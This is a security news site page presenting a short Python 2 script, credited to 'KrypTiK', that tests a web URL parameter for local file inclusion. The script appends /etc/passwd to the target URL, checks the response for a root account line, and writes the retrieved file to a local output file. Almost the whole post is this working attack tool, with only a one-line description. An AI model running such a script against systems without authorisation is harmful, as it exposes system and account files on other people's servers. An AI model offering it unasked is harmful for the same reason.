ZeroSecurity - Information Security News
  • Home
  • Security
    • Exploits
    • Mobile Security
  • Malware
  • Breaches
  • Crypto
  • Privacy
  • Tech
    • AI
    • Downloads
      • Malwarebytes
      • Exploits
      • Paper Downloads
    • Reviews
No Result
View All Result
SUBSCRIBE
ZeroSecurity - Information Security News
  • Home
  • Security
    • Exploits
    • Mobile Security
  • Malware
  • Breaches
  • Crypto
  • Privacy
  • Tech
    • AI
    • Downloads
      • Malwarebytes
      • Exploits
      • Paper Downloads
    • Reviews
No Result
View All Result
ZeroSecurity - Information Security News
No Result
View All Result
Home Security

Python LFI Tester

Paul by Paul
August 8, 2012 - Updated on May 26, 2022
in Security, Tools
Reading Time: 1 min read
292px
Share on FacebookShare on Twitter

A small script that tests for LFI or local file inclusion vulnerability.  This script is written in Python.

You might also like

Hackers Exploit Maximum-Severity Cisco Zero-Day Bug Since 2023 (CVE-2026-20127)

How Hackers Still Manage to Compromise MFA

Anthropic Unveils Claude Code Security to Detect and Fix Critical Vulnerabilities

Written by: KrypTiK

#!/usr/bin/python 
# -*- coding: utf-8 -*- 
# Made By KrypTiK 
import httplib2 
import urllib2 
import sys 
import re 
print "Ex. http://127.0.0.1/index.php?page=" 
baseurl = raw_input("Enter a url: ") 
if 'http://' not in baseurl:  
    baseurl = 'http://' + baseurl 
url = baseurl+"/etc/passwd" 
fout = raw_input("Enter output file: ") 
http = httplib2.Http() 
req = urllib2.Request(url) 
try: 
    http.request(url) 
except IOError: 
    print "URL not found!" 
    sys.exit() 
else: 
    pass 
response, content = http.request(url) 
if response.status == 200: 
    if re.search("/root:/bin/bash",content): 
        print baseurl+" is vulnerable! (Linux)" 
        out = open(fout, "w") 
        out.write(url+"\n\n"+urllib2.urlopen(req).read()) 
        out.close() 
    else: 
        print baseurl+" is not vulnerable!" 
elif response.status == 404: 
        print baseurl+" was not found!" 
else: 
    print response.status
Tags: LFIpython
Previous Post

Alleged Mariposa bot master goes on trial

Next Post

AU Institute of Business Brokers #OpAustralia

Paul

Paul

Editor and chief at ZeroSecurity. Expertise includes programming, malware analysis, and penetration testing. If you would like to write for ZeroSecurity, please click "Contact us" at the bottom of the page.

Recommended For You

Photo of the CISCO logo and text saying "You have been hacked!"

Hackers Exploit Maximum-Severity Cisco Zero-Day Bug Since 2023 (CVE-2026-20127)

March 6, 2026
How Hackers Still Manage to Compromise MFA

How Hackers Still Manage to Compromise MFA

March 6, 2026

Anthropic Unveils Claude Code Security to Detect and Fix Critical Vulnerabilities

February 22, 2026

Phishing 2.0: How AI is Turning Cyber Attacks into a Science

January 7, 2025 - Updated on January 9, 2025

Ransomware Attack Cripples PIH Health Whittier Hospital

December 6, 2024

Cybercriminals Unleash Advanced Phishing-as-a-Service Toolkit Targeting Microsoft 365 Users

November 29, 2024
Please login to join discussion

Related News

Malicious Chrome Extensions Steal AI Data and Hijack Revenue in DarkSpectre Campaign

Malicious Chrome Extensions Steal AI Data and Hijack Revenue in DarkSpectre Campaign

January 30, 2026
KPMG Netherlands Listed as Victim by Nova Ransomware Group

KPMG Netherlands Listed as Victim by Nova Ransomware Group

January 24, 2026
RansomHouse Claims Breach of Key Apple Assembler Luxshare

RansomHouse Claims Breach of Key Apple Assembler Luxshare

January 20, 2026
ZeroSecurity - Information Security News

We cover the latest in technology news, Crypto, Artificial Intelligence, and the threat trends impacting these sectors.

Categories

Piracy

Tutorials

Programming

Malware Analysis

Downloads

  • Contact us
  • Press
  • Writers
  • Privacy Policy
  • Terms of Service

© 2026 ZeroSecurity, All Rights Reserved.

No Result
View All Result
  • Home
  • Security
    • Tools
  • Exploits
  • Data Breaches
  • Malware
  • Privacy
  • Mobile Security
  • Contact Us
    • Press
  • Privacy Policy

© 2026 ZeroSecurity, All Rights Reserved.

This website uses cookies. By continuing to use this website you are giving consent to cookies being used. Visit our Privacy and Cookie Policy.